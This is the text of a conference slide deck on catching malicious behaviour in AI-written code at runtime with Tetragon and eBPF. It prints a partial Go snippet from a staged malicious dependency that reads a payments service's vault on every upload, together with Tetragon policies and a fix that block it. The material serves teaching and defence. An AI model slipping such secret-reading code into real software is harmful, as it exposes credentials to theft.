Slide 1

Slide 1 text

22K

Slide 2

Slide 2 text

22K Number of malicious open-source packages in Q1 2026 That's one every six minutes. Source: Sonatype, Q1 2026 Open Source Malware Index (April 14, 2026) https://www.sonatype.com/press-releases/sonatype-q1-2026-open-source-malware-index

Slide 3

Slide 3 text

Who’s watching the agent? What AI code does in production Donia Chaiehloudj | @doniacld Senior Technical Community Advocate Isovalent @Cisco

Slide 4

Slide 4 text

Donia Chaiehloudj SR. TECHNICAL COMMUNITY ADVOCATE / ISOVALENT @CISCO I am a software engineer with a focus on cloud native, networking, runtime security and eBPF. @DONIACLD

Slide 5

Slide 5 text

Mona's After-Party

Slide 6

Slide 6 text

“Upload a pic of GitHub Universe” @DONIACLD

Slide 7

Slide 7 text

Add a new feature

Slide 8

Slide 8 text

Implement with Copilot

Slide 9

Slide 9 text

Architecture KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY @DONIACLD

Slide 10

Slide 10 text

What the agent wrote SERVICES/GALLERY/MAIN.GO import ( "bytes" "embed" Read the file, make a thumbnail, pin it to the wall. "encoding/base64" "encoding/json" "log" One new dependency "net/http" "os" "strings" "sync" "github.com/octopkg/upload" )

Slide 11

Slide 11 text

CI is green

Slide 12

Slide 12 text

What could go wrong? @DONIACLD

Slide 13

Slide 13 text

LIVE DEMO, GRAB YOUR PHONE Join the party 32-190-46-246.sslip.io Upload your Octocat sighting. Mona approves every photo; location data is removed. @DONIACLD

Slide 14

Slide 14 text

Live Demo @DONIACLD

Slide 15

Slide 15 text

Tetragon: Observing runtime behaviour eBPF Observability and Runtime Security Agent.

Slide 16

Slide 16 text

eBPF Dynamically change the k ernel behaviour

Slide 17

Slide 17 text

THE ATTACK What your upload really did KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY GET /VAULT TETRAGON SEES IT NODE KERNEL eBPF TETRAGON @DONIACLD

Slide 18

Slide 18 text

Tetragon events One upload: the gallery binary dials payments:8080 and reads /vault

Slide 19

Slide 19 text

The problem GITHUB.COM/OCTOPKG/UPLOAD func phoneHome() error { payments := getenv("PAYMENTS_ADDR", "payments:8080") client := &http.Client{ On every upload, the thumbnail helper dials and reads the vault. Timeout: 2 * time.Second, Transport: &http.Transport{DisableKeepAlives: true}, } resp, err := client.Get("http://" + payments + "/vault") if err != nil { return err } defer resp.Body.Close() secret, err := io.ReadAll(resp.Body) if err != nil { return err }

Slide 20

Slide 20 text

Turn the boundary into policy POLICIES/AFTER-PARTY/GALLERY-PAYMENTS-BLOCK.YAML metadata: name: "gallery-payments-block" spec: kprobes: - call: "security_socket_connect" syscall: false args: - index: 1 type: "sockaddr" selectors: - matchBinaries: - operator: "Postfix" values: ["/gallery"] matchArgs: - index: 1 operator: "SPort" values: ["8080"] matchActions: - action: Override argError: -1

Slide 21

Slide 21 text

Demo: Block it upload again now @DONIACLD

Slide 22

Slide 22 text

OVERRIDE / EPERM Tetragon blocks the call KUBERNETES CLUSTER /CHARGE USER FRONTEND PAYMENTS /UPLOAD GALLERY GET /VAULT EPERM NO PACKET SENT NODE KERNEL eBPF TETRAGON @DONIACLD

Slide 23

Slide 23 text

Tetragon blocked the upload

Slide 24

Slide 24 text

Or stop the process POLICIES/AFTER-PARTY/GALLERY-PAYMENTS-KILL.YAML metadata: name: "gallery-payments-kill" spec: kprobes: - call: "tcp_connect" syscall: false args: - index: 0 type: "sock" selectors: - matchBinaries: - operator: "Postfix" values: ["/gallery"] matchArgs: - index: 0 operator: "DPort" values: ["8080"] matchActions: - action: Sigkill

Slide 25

Slide 25 text

Demo: Stop it @DONIACLD

Slide 26

Slide 26 text

SIGKILL Tetragon stops the process KUBERNETES CLUSTER /CHARGE FRONTEND USER RUNNING PAYMENTS RUNNING /UPLOAD GALLERY KILLED, RESTARTING SIGKILL CRASHLOOPBACKOFF DIES BEFORE IT SENDS GET /VAULT NODE KERNEL eBPF TETRAGON @DONIACLD

Slide 27

Slide 27 text

Tetragon stopped the gallery

Slide 28

Slide 28 text

The fix is one line GIT DIFF MAIN FIX/CLEAN-UPLOAD -- SERVICES/GALLERY/MAIN.GO - "github.com/octopkg/upload" + upload "github.com/doniacld/gh26-tetragon/internal/sightings"

Slide 29

Slide 29 text

Live Demo: the fix @DONIACLD

Slide 30

Slide 30 text

Tetragon in GitHub Actions CI pattern adapted from Liz Rice · github.com/lizrice/tetragon-ci

Slide 31

Slide 31 text

Tetragon use cases Process execution File access Network Privilege escalation Every exec, with its full ancestry and pod. Who reads secrets or writes sensitive paths. Who connects to whom, per workload. setuid, new capabilities, sudo in a container. Container escapes Host changes Supply-chain attacks AI agents Namespace and host breakouts, in the kernel. Kernel modules and eBPF on the node. A trusted dependency doing what it shouldn't. What agent-written code really does at runtime. @DONIACLD

Slide 32

Slide 32 text

Observe, prevent, patch. As early as possible, dynamically. @DONIACLD

Slide 33

Slide 33 text

Try Tetragon github.com/doniacld/gh26-tetragon GITHUB.COM/DONIACLD/GH26-TETRAGON

Slide 34

Slide 34 text

Try Tetragon github.com/doniacld/gh26-tetragon GITHUB.COM/DONIACLD/GH26-TETRAGON

Slide 35

Slide 35 text

@doniacld #eBPF #Tetragon #Cilium Thank you

Slide 36

Slide 36 text

How was this session? We do actually read these. It's how Universe gets better every year. Scan to review.